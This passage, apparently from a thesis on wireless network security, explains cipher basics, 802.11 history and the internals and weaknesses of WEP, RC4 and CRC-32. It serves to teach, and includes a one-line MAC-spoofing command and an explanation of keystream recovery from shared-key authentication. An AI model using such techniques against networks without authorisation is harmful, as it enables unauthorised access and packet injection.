seemingly random output called the ciphertext. It should be computation-
ally infeasible to obtain the plaintext from the ciphertext without knowl-
edge of the key. The only way to obtain the plaintext would be to try every
permutation of the key, i.e. brute-force, or exploit some weakness in the
encryption algorithm or protocols using it.
It is common to divide encryption into two different types: symmetric-
and asymmetric encryption [28]. The main difference between the two types
is that while a symmetric cipher uses the same key for encryption and de-
cryption, asymmetric ciphers have two keys, one for encryption and one for
decryption. These keys are, in the case of public-key encryption, referred to
as the public- and private-key respectively.
Symmetric ciphers are further divided into two main categories, block
ciphers and stream ciphers. The most common scheme, the block cipher,
always treats a block of data at a time, and outputs blocks of equal size.
10 Background
The de facto standard block cipher used today is the Advanced Encryption
Standard (AES
2
), which is also used in the newer wireless network security
standards. The use of AES in wireless security is further discussed in Sec-
tion 2.7.
The other type of symmetric encryption is the stream cipher, which
works on one byte or bit at a time, as opposed to a block of data in block ci-
phers. This type of cipher typically has a very simple structure. Encryption
works by taking a pseudorandom keystream and XOR it with the plaintext
to make the ciphertext. Decryption works the same way; the ciphertext is
XORed with the same keystream to produce the original plaintext. This is
due to the properties of the exclusive or (XOR / ⊕) logical operation, which
is symmetrical. This means that if A⊕B = C
→B ⊕C = A
→C ⊕A = B
Put another way, if one knows two of the operands the third can be ob-
tained from the first two. For stream ciphers this means that the keystream
is required to encrypt and decrypt messages, but also that the keystream
can be obtained if both the plaintext and ciphertext is known. The pseu-
dorandom keystream is generated from a key, and should be unpredictable
without the knowledge of this key [28].
The RC4 cipher is an example of a stream cipher, and is the cipher
used in the Wired Equivalent Privacy (WEP) security standard for wireless
networks. RC4 was designed in 1987 by Ron Rivest for RSA Security, and
is a variable key-size stream cipher that operates on bytes [28]. Several
weaknesses in both WEP and RC4 have been discovered [17, 29]. WEP and
RC4 are discussed further in Section 2.4.
2.1.3 Authentication and Authorization
When a user accesses an information system, the system needs to know who
the user is and what the user should have access to. It might also be nec-
essary for the system to prove its identity to the user. In other words it is
needed to have some form of authentication and authorization. Authentica-
tion is defined in RFC4949 [27] as:
The process of verifying a claim that a system entity or system
resource has a certain attribute value.
This attribute can be anything, for instance a claimed identity. Authenti-
cation consists of two steps [27]: First the claimed attribute is presented to
2
AES is based on the Rijndael cipher developed by Joan Daemen and Vincent Rijmen
[14]
Security Principles 11
the system, and secondly present some form of evidence to prove this claim.
This could be a value signed with a private key or a shared secret key.
When an entity has been authenticated, the system will determine what
resources this entity should be able to access. This activity is referred to as
authorization. Authorization is defined in RFC4949 [27] as:
An approval that is granted to a system entity to access a system
resource.
Authentication does not imply authorization, it could be the case that a user
is authenticated but is not authorized to e.g. view a specific document or file.
2.1.4 Attacks
Attacks, in the context of network security, can be classified in two main
classes, active and passive as defined by RFC4949 [27]. Passive attacks im-
ply that the attacker does not generate traffic or interfere with the network,
and typically takes the form of eavesdropping on an information stream.
Such attacks could compromise the confidentiality of the information if no
protection scheme is used. Another form of passive attack is traffic analysis,
where the actual contents of the information are not obtained, but some in-
formation could be derived or guessed by analyzing communication patterns.
An active attack involves some form of interaction with the information
stream. Stallings [28] defines four categories of active attacks: masquer-
ade, replay, modification of messages and Denial-of-Service. A masquerade
attack is when an entity pretends to be a different entity. This can be accom-
plished by for instance changing the Internet Protocol (IP) or Media Access
Control (MAC) address to an address that is authorized by the system. A
replay attack is executed by passively capturing traffic and then replaying
it into the network. For instance, a replay attack against an insecure credit
card transaction can cause additional funds to be transferred. Modification
of messages, or a message modification attack, can vary from reordering or
delaying messages to actually modifying or deleting the message itself. In a
credit card transaction this could for instance be to alter the receiving bank
account number. The fourth active attack is the Denial-of-Service (DoS)
attack. DoS attacks prevent the normal or intended use of a system, in
other words it is an attack against the availability of a system. This could
be accomplished by for instance generating large amounts of bogus traffic
to overload a system [28].
12 Background
2.2 IEEE 802.11 Wireless Networks
In 1997, The Institute of Electrical and Electronics Engineers (IEEE) re-
leased their first standard for wireless local area networks (WLAN) called
802.11 [1]. This standard was further revised in 1999 [2]. Today, the work-
ing standard is the 2007 version [5]. All earlier versions of the standard
are marked as archived, and are thus considered to be obsolete. The IEEE
802.11 standard is a collection of specifications, which defines most aspects
of wireless communication, comprising physical layers, data-link layers as
well as security protocols.
2.2.1 General Description
A wireless network is somewhat different from a wired ethernet network
where an address represents a physical location. In a wireless network,
signals are transmitted to stations with a specific address, which is indepen-
dent of their location within the network. Signals are transmitted between
stations (STA) on channels, which are pre-defined divisions of the electro-
magnetic spectrum where the transmission protocol operates. Even though
signals are directed to a specific STA, they are still broadcasted into the
air for anyone to read. Thus, a wireless network is referred to as a shared
medium in comparison to switched wired networks where traffic are elec-
tronically switched to reach a specific address. One should note that the
term shared medium can also been used to describe older wired networks
with a hub or a token ring topology.
Even though there are clear physical differences between wired and wire-
less networks, they need to be able to intercommunicate. Hence, the IEEE
802.11 standard requires the wireless networks to appear to higher layers
(i.e. the logical link layer LLC) as a regular 802 LAN. To achieve this, the
layers below the MAC layer must be able to handle operations specific to
wireless networks such as station mobility.
2.2.2 Structure of Wireless Networks
The 802.11 standard describes two types of wireless networks: ad hoc and
infrastructure.
In an ad hoc network (also referred to as an Independent Basic Service
Set (IBSS)), there is a flat hierarchy of stations (STA), all communicating
directly to each other without any defined infrastructure or hierarchy. Al-
though this might be convenient in many situations, this type of wireless
IEEE 802.11 Wireless Networks 13
network structure is less used.
The infrastructure network is the most common structure of wireless
networks. The basic building block of an infrastructure wireless network
is the Basic Service Set (BSS). A BSS is the area consisting of an Access
Point (AP) with the surrounding STAs associated with the AP. An AP dif-
ferentiates from a STA, by being able to communicate with the Distribution
System (DS). A DS is the architectural component used to interconnect
BSSs. In more common terms, the DS can be considered to be a regular 802
LAN. Figure 2.1 shows a typical infrastructure wireless network.
AP
STA
STA
STA
AP
STA
STA
STA
BSS1
BSS2
DS
Figure 2.1: A typical infrastructure based wireless network
Wireless networks are addressed and identified by their Service Set Iden-
tifiers. Every AP has its own unique identifier called a Basic Service Set
Identifier (BSSID). It has the same form as a 48-bit IEEE 802 MAC address
used in wired networks. The BSSID is thus used for direct communication
between AP and STAs and is included as a part of the 802.11 MAC head-
ers. In addition to the BSSID, there is a field called a Service Set Identifier
(SSID), which is a part of the body frame of the management frames. The
SSID is a variable length field of 0 to 32 octets that represent a human read-
able identifier for the network. E.g., a Linksys AP would by default apply
the text string linksys for the SSID.
In cases where there are more than one access point connected to a DS,
the SSID field is used to contain the ESSID. The extended service set (ESS)
is a system where more than one AP gives access to the same system. An
example of this could be the public WLAN at a campus, where the ESSID
(i.e. the name of the network) remains the same regardless of the location
of the STA. In such a setting, each AP have their own unique BSSID which
make them distinguishable from one another, and at the same time they
share an ESSID such that STAs can recognize them as the same network.
14 Background
2.2.3 History
Since the release of IEEE 802.11 1997, there have been two major revisions of
the standard; in 1999 and 2007. In between the main revisions of the IEEE
802.11 standard, many 802.11 amendments have been added as supplements
to the standard. These amendments comprise both security protocols such
as the 802.11i and QoS protocols such as 802.11e.
IEEE 802.11 1997
The first standard of IEEE 802.11 was released in 1997 [1]. It described how
stations could communicate over the 2.4 GHz spectrum with data rates of 2
Mbit/s and lower. Additionally a less popular infrared option was described.
In addition to the physical specifications, the IEEE 802.11 standard of
1997 introduced a security protocol called Wired Equivalent Privacy (WEP)
(further described in Section 2.4). As the name suggests, it aimed to provide
the same level of security, as one should expect from a regular 802 wired
network.
IEEE 802.11 1999
In 1999, a revision of the original IEEE 802.11 standard of 1997 was released
[2]. Additionally, two new amendments to the IEEE 802.11 standard were
added, namely the 802.11a and the 802.11b amendments. These two new
amendments did not introduce any new security protocols; they rather in-
troduced new and higher bit rates for wireless communication. The IEEE
802.11a protocol operated at 54 Mbit/s at the 5GHz band, while the IEEE
802.11b protocol operated at 11 Mbit/s at the 2.4 GHz band. From a se-
curity perspective, this is a relevant advancement, as with higher bit rates
more packets are transferred per time unit, which makes it easier to perform
statistical attacks on the security protocols (more examples in Section 2.5).
IEEE 802.11g 2003
In 2003, the IEEE 802.11g amendment to the IEEE 802.11 standard was
released [4]. Like IEEE 802.11a and IEEE 802.11b, the 802.11g amendment
does not introduce any new security protocols, it defines new transmission
rates up to 54 Mbit/s at the 2.4 GHz spectrum. This was the same speed
as the older IEEE 802.11a protocol achieved on the 5GHz band. The new
802.11g protocol was backwards compatible with the 802.11b protocol in
order to ease the transition. Today, the IEEE 802.11g protocol is one of the
most used protocol in wireless networks.
Wireless Security 15
IEEE 802.11i
As a part of enhancing the security of IEEE 802.11 networks, the IEEE
802.11i task force was established. In 2004, the IEEE 802.11i [5] amendment
was released, which is further explained in Section 2.3.1.
IEEE 802.11e
In 2005, another amendment called IEEE 802.11e was submitted. It defines
Quality of Service enhancements for wireless networks. The attack on TKIP
requires QoS to be enabled, and hence 802.11e is further detailed in Section
2.9.
IEEE 802.11n
The IEEE 802.11n amendment should also be mentioned, as it significantly
enhances the transmission rates of wireless networks. Even though it still is a
draft standard (early 2009), several manufactures have already implemented
it in new equipment.
2.2.4 IEEE 802.11 Transmission Protocols Roundup
The table below shows an overview of the different transmission protocols
of IEEE 802.11.
Protocol Release Date Frequency Max data rate
802.11a October 1999 5 GHz 54 Mbit/s
802.11b October 1999 2.4 GHz 11 Mbit/s
802.11g June 2003 2.4 GHz 54 Mbit/s
802.11n Draft (2009) 5 GHz / 2.4 GHz 600 Mbit/s
Table 2.1: Different wireless protocols of 802.11
2.3 Wireless Security
Due to the steady increase in both reliability and performance, the deploy-
ment of wireless networks is increasing in both home and business environ-
ments. The convenience of avoiding the physical infrastructure of a wired
network, often make wireless network favorable over wired networks. Wire-
less networks are, due to their nature, more prone to security threats than
wired networks. In a wired network, computers are connected through wires,
and hence it is easy for the administrator to control who is allowed to access
this trusted zone.
16 Background
In a wireless network, however, traffic propagate in any direction over the
air, and can be easily captured by a wireless interface within range on the
correct channel. For that reason, if a wireless network is not protected, one
should assume that everything that is being sent could be read by anyone.
To protect the information one needs to apply encryption. If anyone can
see the transmitted data, one have to make sure it is useless to them unless
they are in possession of some shared secret; namely a key.
2.3.1 IEEE 802.11 Security Protocols
There exist much confusion and misinterpretation of the abbreviations of the
security protocols available in wireless networks. In this section a historical
overview of the security protocols of IEEE 802.11 will be given in order to
clear up some of the confusion.
Over the years, the development of wireless security protocols has been
a race between the IEEE (the standardization committee) and the WiFi
Alliance (the industry). In 1997, Wired Equivalent Privacy (WEP) (further
explained in Section 2.4) became a part of the IEEE 802.11 standard. It
aimed to provide security equivalent to the one you should get in a wired
network. In 2001, WEP could no longer be considered secure after being
proved to be completely broken [17, 29].
Wireless Security 17
IEEE
Nov, 1997
WEP
1997 1998 1999 2000 2001 2002
Fluhrer, Mantin & Shamir
2001
Weaknesses in the key
scheduling alg. of RC4
IEEE
2001
IEEE 802.11i task
group established
Fluhrer, Mantin & Shamir
Aug, 2001
FMS Attack
2003 2005 2004
Wi-Fi Alliance
2003
Introduces WPA
IEEE
June, 2004
IEEE 802.11i is
ratified
KoreK
Sep, 2004
ChopChop attack
KoreK
Sep, 2004
Attack on WEP
2006 2007 2008
Tews, Weinmann &
Pyshkin
2007
PTW attack
Tews & Beck
Nov, 2008
Practical attacks
against WEP and WPA
Borisov, Goldberg & Wagner
Jan, 2001
InterceptingMobile
Communications: The Insecurity
of 802.11
Andreas Klein
2005
Attacks on the RC4
stream cipher
Andrea Bittau
Sep, 2005
The Fragmentation
Attack in Practice
Figure 2.2: A timeline of the development of wireless security compared with the
development of attacks and discoveries of vulnerabilities
To cope with the weaknesses in WEP, the IEEE established the 802.11i
task group. The WiFi Alliance became restless in the time consuming pro-
cess of IEEE to establish an 802.11i standard, resulting in the development
of WiFi Protected Access (WPA), which was released by the WiFi Alliance
in 2003. The WPA standard has two modes, one running the Temporal Key
Integrity Protocol (TKIP) and another optional mode running the Advanced
Encryption Standard (AES), which is further explained in Section 2.6 and
2.7 respectively. Both of these were developed on basis of the current work
done by the 802.11i task group.
In 2004, the IEEE 802.11i task group finished their work on the 802.11i
security standard. The standard was coined “Robust Security Network”
(RSN) by the IEEE. RSN included two modes: the TKIP (an improved ex-
18 Background
tension of WEP) and the Counter Mode CBC-MAC Protocol (CCMP
3
) with
AES encryption. By then, the WPA brand (by the WiFi Alliance) was well
established in access points and routers, and hence the RSN standard was
given the name WPA2 by the WiFi Alliance. A timeline of the development
of security protocols is displayed in figure 2.2
2.4 Wired Equivalent Privacy (WEP)
Wired Equivalent Privacy (WEP) was the security standard implemented
in the first 802.11 wireless LAN networks. The security of WEP has been
thoroughly broken [17, 29] and the standard has ever since the introduction
of WPA and 802.11i been deprecated [5]. Even though TKIP is the main
subject for this thesis, TKIP is build around WEP and thus inherits many of
its features as well as flaws. Hence, we feel it appropriate and relevant to give
this detailed description of WEP. This section will give an overview of the
history, background and technical detail of WEP as well as its weaknesses.
The next section will explain the various attacks against WEP, of which
some can be adopted to attack TKIP.
2.4.1 History
As the name indicates, WEP was only intended to give Wired Equivalent
Privacy. In other words the same confidentiality as provided by a wired
network. A normal wired network provides no confidentiality at the data
link layer and all traffic is sent unencrypted as long as no higher layer en-
cryption is used. The only protection at this layer is the physical protection
from someone to plug a network cable into the network equipment. As men-
tioned in Section 2.3, wireless networks are implicitly more vulnerable than
its wired counterparts. Anyone with a radio antenna and a wireless network
card can eavesdrop on the data and also potentially gain network access.
It is obvious that wireless networks need additional protection, both
from loss of confidentiality and unauthorized network access. The IEEE
introduced WEP in the 802.11 1997 standard. As the popularity of wireless
networks increased, it attracted the attention of the cryptographic commu-
nity. Already in 2001, several weaknesses were discovered, and tools to crack
WEP in short time with a personal computer became freely available on the
Internet [16, 17, 7].
It should be noted that WEP was only designed to be reasonably strong
[1] and the designers also had to make sure it was compliant with the strong
3
Fully extended, this abbreviation stands for Counter Mode with Cipher Block Chain-
ing Message Authentication Code Protocol
Wired Equivalent Privacy (WEP) 19
U.S. export regulations of cryptography at the time. The protocol was
also designed to be self-synchronizing, efficient, and implementable in both
hardware and software [1]. The self-synchronizing property necessitate that
every packet is encrypted separately, and therefore can be decrypted sepa-
rately without any dependence on previous packets. This property is very
important in wireless networks, which are prone to packet loss, because a
single dropped packet would otherwise require some form resynchronization
[16].
2.4.2 Protocol Overview
The construction of the WEP MPDU (MAC Protocol Data Unit) can be
seen in Figure 2.3. The MPDU consists of three main parts: The actual mes-
sage or Data, an Integrity Check Value (ICV) and the Initialization Vector
(IV). This MPDU is further encapsulated in an 802.11 header. In WEP,
only the actual message data and the ICV are encrypted. The IV and the
802.11 headers are sent in the clear. The ICV consists of a 32-bit CRC-32
value, further detailed in Section 2.4.5, which is added to verify the integrity
of the packet. The IV field is also 32 bits in length. It consists of the 24-bit
IV, a 2-bit Key ID subfield and 6 bits of padding [5]. The 24-bit IV is used
in combination with the shared secret key as input to the RC4 encryption
algorithm, and the Key ID subfield indicates which secret key, out of four
possible, that was used to encrypt the packet. The details of RC4 are given
in Section 2.4.4.
WEP uses a 40-bit key for encryption, the reason for this small key is
the mentioned U.S. restrictions on export of cryptography. After these re-
strictions were lifted, some vendors implemented a 104-bit version, called
WEP-104, which tremendously increased the effort required to complete a
brute-force attack. The cryptographic encapsulation and decapsulation is
identical whether a 40 or 104-bit key is used, and hence WEP can refer to
either version. In addition to the versions described by the IEEE 802.11
standard, some vendor specific implementations have also been suggested.
Examples are WEPplus by Agere Systems, which avoids using the weak IVs
that exists in WEP. Another example is Dynamic WEP, which dynamically
changes WEP keys. Such proprietary systems were never fully compatible
with the IEEE 802.11 WEP standard.
20 Background
Sizes in Octets
IV
4
Data
>=1
ICV
4
Encrypted(Note)
Init. Vector
3
1 octet
Pad
6 bits
Key ID
2 bits
Sizes in Octets
IV
4
Data
>=1
ICV
4
Encrypted(Note)
Init. Vector
3
1 octet
Pad
6 bits
Key ID
2 bits
Figure 2.3: Construction of expanded WEP MPDU [5]
A block diagram depicting the WEP encapsulation can be seen in Figure
2.4. Starting at the top of the figure, the IV is added to the beginning of
the packet, and also concatenated with the WEP Key. This concatenation
of the IV and WEP Key is then used to feed the RC4 pseudorandom num-
ber generator (PRNG), and produce the pseudorandom key-stream used for
encryption.
||
RC4
PRNG
CRC-32
IV
Cipher
text
Initialization
Vector (IV)
WEP Key
Plaintext
Message
Seed Key Stream
Integrity Check Value (ICV)
||
Figure 2.4: WEP encapsulation block diagram [5]
The message is first put through a CRC-32 algorithm to produce the ICV.
The ICV is then concatenated to the message. The resulting data is then
XORed with the pseudorandom key-stream to produce the encrypted ci-
phertext and added to the final WEP packet, this is illustrated in Figure
2.6. The final WEP encapsulated packet will then contain the plaintext IV,
followed by the encrypted message and ICV.
Wired Equivalent Privacy (WEP) 21
Plaintext
WEP Key
ICV'
Key 
Stream 
Seed 
IV
||
Cipher
text
RC4
PRNG
Message 
Integrity algorithm
ICV' = ICV?
ICV 
Figure 2.5: WEP decapsulation block diagram [5]
The WEP decapsulation can be seen in Figure 2.5. It is similar to a reverse
WEP encapsulation, with only minor differences as will be explained. The
procedure starts with the concatenation of the WEP key with the IV. This
value is then used as input to the RC4 PRNG to produce the keystream.
Next, the ciphertext is XORed with the keystream to produce the decrypted
message and ICV. The message is then put through the CRC-32 algorithm
to produce another value, ICV’. The ICV and ICV’ is then compared to
check if there has been some form of integrity loss or message tampering.
If the ICVs match, the packet is passed on in the system, otherwise it is
discarded.
RC4 1 1 0 1 0 0 1 0
0 1 1 0 0 1 0 0
1 0 1 1 0 1 1 0
=
IV + key
Plaintext
Ciphertext
Keystream
Figure 2.6: WEP encryption using the keystream generated by RC4 XORed with
the plaintext
2.4.3 Authentication
Before any communication can take place between a station and the network,
the station needs to authenticate to become associated with the network.
WEP supports two types of authentication: Open System authentication
and Shared Key authentication [16]. The Open System authentication is
actually a null authentication algorithm [5], which means that any STA can
22 Background
authenticate if the AP is set to Open System Authentication. This protocol
simply consists of a Request and a Success message, and there is no actual
authentication taking place.
The Shared Key authentication offers a one-way authentication, as op-
posed to mutual authentication. The STA authenticates with the AP, but
the AP never authenticates with the STA. Only STAs that know the secret
key are able to successfully authenticate with the AP. This protocol consists
of a four-way handshake, and is initiated by the STA sending an Authen-
tication request. A sequence diagram of the authentication can be seen in
Figure 2.7. The AP will then respond with a challenge, which contains a
128-octet message generated by the WEP PRNG. When the STA receives
this challenge, the 128-octet is encrypted using WEP with the secret shared
key and sends this back to the AP. When the AP receives this message it
is decapsulated and the ICV is checked. If this check is successful, the de-
crypted contents are compared with the challenge previously sent. If these
match, the AP knows that the STA knows the shared key and sends an
authentication success message.
STA
(Requestor)
AP
(Responder)
#1: Authentication Request
#2: Authentication Challenge
#3: Authentication Response
#4: Authentication Result
Figure 2.7: Sequence diagram of Shared Key Authentication
Even though this method of authentication may seem to be more secure than
the Open System Authentication, it has some severe weaknesses which are
described in Section 2.4.7. The Shared Key authentication is deprecated and
if WEP (which is also deprecated) is used, only Open System authentication
should be enabled.
2.4.4 Pseudorandom Number Generator - RC4
WEP makes use of the RC4 pseudorandom number generator for encryp-
tion. The algorithm is actually referred to as ARC4 (Alleged RC4) in the
IEEE 802.11 standard [5], because the owner of the algorithm, RSA Secu-
Wired Equivalent Privacy (WEP) 23
rity, has never actually published the details of it. The source code of RC4
was anonymously posted on an Internet mailing list in 1994 [9]. RC4 is a
stream cipher, which means it operates on the byte level, as opposed to a
block cipher, which operates on blocks of several bytes. Various encryption
techniques were discussed in more detail in Section 2.1.2.
RC4 takes a variable size (1 to 256 bytes) key, or seed, as input and
produces a pseudorandom stream of bytes. In WEP this key is 64 or 128
bits, the 24-bit IV concatenated with the 40 or 104-bit shared key. To en-
crypt data, the generated stream of pseudorandom bytes is XORed with the
plaintext to construct the ciphertext. Decryption works the same way, this
because XOR is a symmetric operation. The ciphertext is XORed with the
stream of pseudorandom bytes to produce the plaintext.
The RC4 algorithm is surprisingly simple, and can be easily explained.
RC4 operates on a 256-byte state vector S, which contains all 256 permuta-
tions of 8 bits. This state vector is first initialized to contain all the values in
ascending order. A 256-byte temporary vector is also created which contain
the key K. If the key is smaller than 256 bytes the key is simply repeated
until the vector is filled. This initialization is described in Algorithm 1.
Algorithm 1 RC4 state vector initialization [28]
for i = 0 to 255 do
S[i] = i;
T[i] = K[i mod keylen];
end for
The next step is to use the temporary vector, T, to produce an initial
permutation of the state vector, S. This is done by swapping two bytes in
S according to a procedure given by T. Since the only operation done on S
is swapping of bytes, S will still contain all permutations of eight bits. The
algorithm for the initial permutation of S is given in Algorithm 2.
Algorithm 2 RC4 state vector initial permutation [28]
j = 0;
for i = 0 to 255 do
j = (j +S[i] +T[i]) mod 256;
Swap (S[i], S[j]);
end for
When the initial permutation is complete, the key and the temporary
vector are never used again. The keystream is generated one byte at a time
by swapping every byte of S, based on its own state. Next, a byte k is
selected for the keystream. This procedure is given in Algorithm 3.
24 Background
Algorithm 3 RC4 S-Box stream generation [28]
i, j = 0;
while true do
i = (i + 1) mod 256;
j = (j +S[i]) mod 256;
Swap (S[i], S[j]);
t = (S[i] +S[j]) mod 256;
k = S[t];
end while
RC4, and especially the way WEP uses it, has some weaknesses. These
weaknesses will be discussed in Section 2.4.7.
2.4.5 Integrity Check Value - CRC-32
The ICV field of the WEP MPDU consists of a 32-bit Cyclic Redundancy
Check (CRC-32) value. A CRC value is computed on the message to ver-
ify the integrity of the received data, i.e. to confirm that no intentional or
unintentional modification of the data has taken place. If this value was
to be sent unencrypted an attacker could simply modify the message and
re-compute the CRC, but WEP encrypts both the message and the ICV to
avoid this. But as shall be described in Section 2.4.7 CRC has some prop-
erties that make it vulnerable to attacks. This vulnerability resulted in the
Chopchop attack (Section 2.5.5), which is an essential part of the attack on
TKIP. Hence, we feel it appropriate to explain the CRC-32 function in some
greater detail.
The CRC algorithm consists of two elements, the input and the polyno-
mial (a fixed divisor) [35]. The number 32 in the name CRC-32 indicates
the width
4
(W) of the polynomial. In the case of WEP, the polynomial is a
fixed 33-bit binary number. IEEE 802.11 [5] defines this polynomial as:
G(x) = x
32
+x
26
+x
23
+x
22
+x
16
+x
12
+x
11
+x
10
+x
8
+x
7
+x
5
+x
4
+x
2
+x+1.
The calculation of the CRC checksum works by performing several di-
visions of the input over the polynomial. It starts by appending W zeroes
to the input. Next, the polynomial is placed under the leftmost side of the
input. If the input bit above the leftmost polynomial bit is 1, an XOR oper-
ation between the input and the polynomial is performed, followed by a one
bit right shift of the polynomial. If the input bit above the leftmost poly-
nomial bit is 0, no XOR operation is performed, only the one bit right shift
of the polynomial. This process repeated until the polynomial is shifted all
the way to the rightmost bit of the input. Then, a resulting W bit reminder
4
The polynomial width is n −1, where n is the total number of bits.
Wired Equivalent Privacy (WEP) 25
called the CRC checksum will remain.
As a simple example we’ll use a polynomial of W 4 [35].
Original message: 1101011011
Polynomial: 10011
After the first iteration:
11010110110000 <--- Original message + W appended 0s
10011 <--- Polynomial (5 Bits)
--------------
01001000000000 <--- First round result
After the last iteration:
00000000001110 <--- Result after previous operation
10011 <--- Polynomial (5 Bits)
--------------
00000000001110 <--- Remainder (4 bits)
The CRC function is very well suited to detect errors. As the message is
treated as a huge binary number when calculating the CRC value, one is
always sure to detect errors of 1 bit. However, when multiple bit errors
occur, there is always a risk that the original message has been altered in
such a way that the checksum is still valid. Fortunately, CRC-32 is designed
to work very well with burst error detection [35]. Burst errors are errors
that arrive in groups, i.e. a continuous series of bit errors. Burst errors are
also the most common type of error in a wireless environment.
2.4.6 Initialization Vector - IV
WEP uses one static pre-shared key for encryption. This key is used for en-
cryption in both directions. An important rule in cryptography is to never
use the same key more than once [16]. If the same key were used more than
once in a stream cipher, the keystream would be identical for these mes-
sages. Now, if an attacker figured out the plaintext for one single message,
he would be able to decrypt all messages encrypted with this key. This is
because the keystream can be obtained by XORing the plaintext with the
ciphertext.
WEP tries to avoid key reuse by concatenating the key with a 24-bit
IV and feeding this to the RC4 PRNG. This results in 2
24
= 16, 777, 216
different seeds possible per key. To avoid IV reuse, and thus using the same
keystream twice, the IV should ideally be incremented by one for each packet
transmitted. As an alternative, IVs could be selected by random. However,
due to the birthday paradox [16], selecting IVs by random would produce a
26 Background
duplicate IV sooner than the incremental approach. Using the incremental
approach would cause the IV to wrap around after about 17 million packets.
This might seem like a very large amount of packets, but in a busy network
the IV would be reused in a matter of hours [16].
The issue of IV reuse and some other security issues with the WEP IV
are discussed further in the next section.
2.4.7 Weaknesses of WEP
As mentioned earlier, WEP was originally created to provide security equiv-
alent to the one we could expect of wired networks. Even though the name
of the protocol does not imply the highest level of security, it implies to be
reasonably secure. This section will explain the several weaknesses that have
been discovered and later resulted in serious attacks, which will be discussed
in Section 2.5.
Authentication
Section 2.4.3 explained two modes of authentication that was part of the
original WEP protocol, namely Open System and Shared Key Authentica-
tion. As the open system authentication obviously does not authenticate at
all, we will rather focus on the lack of security in the shared key authenti-
cation mechanism, and thus explain why it eventually was deprecated from
the WEP protocol.
Recalling from Section 2.4.3, we learned that in the shared key authen-
tication mechanism, an AP sends a challenge to the STA, which in turn will
use the WEP protocol to encrypt the challenge and send it back to the AP.
By using WEP to encrypt the challenge, an eavesdropper will be given two
elements of the WEP protocol; the challenge text (the plaintext) and the
ciphertext. For the following example, consider the challenge text as P, the
keystream as K and the ciphertext as C.
WEP encryption work by XORing P and K:
P ⊕K = C
As the eavesdropper now possess the challenge (P) and the ciphertext
(C), the keystream can easily be obtained by:
C ⊕P = (P ⊕K) ⊕P = (P ⊕P) ⊕K = K
Wired Equivalent Privacy (WEP) 27
At this point, when an attacker knows the keystream, he would be able
to inject arbitrary encrypted packets into the network without even knowing
the key.
Access Control
Access control has never been defined as a part of the WEP standard [16],
except for the limited access control provided by the shared key authenti-
cation scheme. However, several manufactures have implemented ways of
controlling access to the network by allowing the administrator to define a
list of authorized MAC addresses. This, however, cannot be considered to
be a secure solution, as MAC addresses easily can be forged using simple
Unix commands like e.g.:
ifconfig <interface> hw ether <fake-mac>
This is especially simple as the MAC addresses are sent in the clear outside
the WEP protocol as a part of the 802.11 headers.
Replay Protection
As with access control, replay protection was neither considered in the IEEE
802.11 standard [16]. This means that any encrypted packet will be valid for
an infinite amount of time for a specific WEP key. In a secure system one
would make use of a sequence counter in order to counteract replay attacks.
In this way the AP would reject old packets, i.e. packets with lower sequence
numbers. This is, however, not a part of WEP.
Although replay protection is not a part of the WEP protocol, replay
protection may be implemented at higher layers. TCP, for instance, use
a sequence number. This means that if a TCP packet containing critical
information is replayed into the network, the TCP layer will discard it,
because the sequence number is out of date. However, there is still no
excuse to drop replay protection at lower levels. This is why TKIP (Section
2.6) introduced replay protection by using a sequence counter.
CRC-32
The CRC-32 function itself is a great function when used in the context of
error detection. In WEP, the CRC-32 function is used to determine if the
message have been modified. The reasons why this fails are partly due to
CRC and partly due to the nature of WEP. WEP uses the XOR operation to
encrypt the plaintext by XORing it with the keystream generated by RC4.
By doing this, the bits will be flipped in place, not changing their position
28 Background
in the ciphertext.
The next problem lies within the CRC-32 function (explained in Section
2.4.5). CRC is linear function. What this means, is that, as opposed to
a hash function, in CRC one can predict which bit in the checksum that
will change if a chosen bit in the input is changed. This means that with-
out knowing what the plaintext nor the checksum is, one can choose a bit
in the plaintext, and by knowing its index, one can calculate which bit in
the checksum that will change. Now, considering the fact that bits do not
change place after encryption, we see that this also is possible on an en-
crypted packet.
Key Size
The IEEE 802.11 [5] defines two key sizes for WEP: 40 bits and 104 bits.
By using keys of 40 bits one is directly vulnerable to brute force attacks,
which with dedicated hardware can be broken in a matter of seconds. By
extending the key size to 104 bits, brute force attacks become infeasible.
In Section 2.5, we will cover some different attacks on WEP, which oper-
ates in a more sophisticated manner than brute force. With these techniques,
the 104-bit key size only enhances the security linearly [16], i.e. it does only
take
104
40
= 2.6 times longer to break it.
RC4
The strength of the encryption used in WEP relies entirely on the random-
ness of RC4. If the pseudorandom keystream generated by RC4 could easily
be predicted, the encryption would automatically fail. In 2001, Fluhrer et
al.[17] presented a weakness in the key-scheduling algorithm of RC4. Their
paper introduces the concept of weak keys, which are keys of certain values
that will produce a less random keystream for the first bytes. Their study
shows that, in the case of weak keys, an undesirable high number of bytes
in the keystream would be produced directly from the key. Later that year,
Fluhrer et al. released a practical attack called the FMS attack (described
in Section 2.5.1).
The RC4 algorithm is, however, considered to be near to indistinguish-
able from random noise once it gets going. Thus, a suggested solution to
the problem would be to drop the first bytes of the keystream. Exactly
how many bytes that should be dropped have been a matter of discussion.
Mironov recommends, based on his analysis [23], to drop at least the 512
first pseudorandom bytes.
Attacks on WEP 29
IV
As previously explained, the initialization vector (IV) of WEP is used to
prevent key reuse. Thus, the 24-bit IV is prepended to the key before RC4
is initialized. By doing this, the key that is fed into RC4 will differ from the
one used in the previous packet.
The most obvious weakness of the IV is its short length. The IV is 24-bit
long. This means that when 2
24
= 16, 777, 216 packets have been sent, the
IV will wrap around and will be reused. Although almost 17 million may
seem like a huge number, a busy access point will suffer from IV reuse in
about 7 hours, or in an even shorter amount of time with the faster 802.11g
and 802.11n protocols. With more than one STA, the time between IV reuse
will further decrease with a multiple of connected STAs. It may also be pos-
sible to reset the IV by de-authenticate a STA, as most AP will reset the
IV after each authentication.
IV reuse is a problem due to two things. First, it is considered bad
practice to use the same key for encryption twice. By reusing the IVs a key
will be used twice. Next, there is the problem with RC4 weak keys. As the
IV is prepended to the WEP key, it will affect the part of the WEP key that
is vulnerable to weak keys. As the IV is changing with every packet, sooner
or later a weak key will be used. Additionally, since the IV is sent in the
clear outside the encrypted part of the packet, an attacker will be notified
of it.
2.5 Attacks on WEP
WEP was created with the aim to provide equivalent security of wired net-
works. But, as explained in Section 2.4.7, WEP contained so many obvious
weaknesses that a complete key recovery attack almost was inevitable. A key
recovery attack is the ultimate attack, from which the attacker obtains the
master key that can be used to gain full access to the network. This section
will explain the history and detail of the most serious and well-known attacks
on the WEP protocol. Most of these attacks are attacks directed against
the RC4 algorithm and the way it is used in WEP. However, there also exist
